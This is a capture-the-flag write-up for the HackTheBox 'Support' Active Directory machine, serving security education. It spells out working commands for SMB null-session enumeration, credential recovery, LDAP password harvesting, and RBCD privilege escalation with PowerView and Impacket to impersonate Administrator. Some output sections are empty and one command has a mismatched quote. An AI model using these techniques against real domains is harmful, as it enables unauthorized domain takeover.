Support — HackTheBox Write-Up

Difficulty: Easy | OS: Windows (Active Directory)

Overview

Support is an easy-difficulty Windows Active Directory machine. Initial access is obtained through an Anonymous SMB share, where unauthenticated users can list shares and download files. Among those files is a UserInfo.exe binary that, upon reverse engineering, reveals hardcoded credentials. Those credentials allow LDAP enumeration, which exposes a plaintext password for the support user. Privilege escalation abuses a GenericAll permission over the Domain Controller to perform a Resource-Based Constrained Delegation (RBCD) attack, ultimately achieving Domain Admin access.

1. Reconnaissance

I began by scanning all open ports on the target machine.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.16.222 -oG Ports

Relevant output:

I then performed a version and service detection scan against the identified open ports to gather more detailed information.

bash

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49676,49706,57032 -sCV 10.129.16.222 -oN Vports

Relevant output:

2. Enumeration

I enumerated the SMB service using smbmap with a null session to identify accessible shares.

smbmap -H 10.129.16.222 -u 'NONE'

The output revealed a readable share called support-tools. I connected to it using smbclient to browse its contents.

smbclient //10.129.16.222/support-tools -U 'NONE'

3. Exploitation

Inside the share, I found a file named UserInfo.exe.zip. After extracting it, the archive contained several .dll files along with the main executable UserInfo.exe

I transferred the files to a Windows machine and loaded them into dnSpy for static analysis. Inspecting the source code, I found a function that constructs LDAP credentials — including a hardcoded username and an obfuscated password.

A separate function, getPassword, was responsible for decrypting the password at runtime. I replicated its logic using an online C# compiler/debugger to recover the plaintext password.

With the decrypted password in hand, I used NetExec to spray it against the domain users I had identified and confirmed it was valid for the ldap user.

Before proceeding with LDAP enumeration, I added the domain to my hosts file:

echo "10.129.16.222 support.htb" >> /etc/hosts

I then queried LDAP using the recovered credentials:

ldapsearch -x -H ldap://support.htb -D "ldap@support.htb" -w 'PASSWORD' -b "DC=support,DC=htb"

After reviewing the output, I found a plaintext password stored in the info field of the support user's LDAP object.

I used Evil-WinRM to authenticate as the support user and obtained an interactive shell. The user.txt flag was found on the Desktop.

evil-winrm -i support.htb -u support -p 'PASSWORD'

4. Privilege Escalation

To map the Active Directory environment, I ran BloodHound-Python to collect domain data remotely:

Get PELURED’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

bash

bloodhound-python -u support -p 'PASSWORD' -ns 10.129.16.222 -d support.htb -c all

I imported the resulting JSON files into BloodHound and investigated the support user. The analysis showed that support is a member of the Shared Support Accounts group, which has GenericAll privileges over the Domain Controller object (DC01).

GenericAll on a computer object allows an attacker to configure msDS-AllowedToActOnBehalfOfOtherIdentity, enabling a Resource-Based Constrained Delegation (RBCD) attack. This means we can create a machine account and make the DC delegate authentication to it, then impersonate the Administrator.

I referenced HackTricks for the exploitation steps. From within the Evil-WinRM shell, I imported PowerMad and PowerView, then created a new computer account and set the delegation attribute:

New-MachineAccount -MachineAccount PELH -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer PELH

Setting the delegation attribute:

$ComputerSid = Get-DomainComputer PELH -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

I encountered several connection errors and discovered that DC.support.htbwas missing from my /etc/hosts file. After adding the required entry, the issue was resolved. On my attack machine, I used Impacket’s getST.py to request a Kerberos service ticket impersonating the Administrator account:

python3 getST.py -spn 'cifs/DC.support.htb' -impersonate 'administrator' 'support.htb/PELH$"123456' -dc-ip 10.129.16.222

I exported the ticket and used wmiexec to connect to the Domain Controller as Administrator, retrieving the root.txt flag:

export KRB5CCNAME=administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache
wmiexec.py -k -no-pass DC.support.htb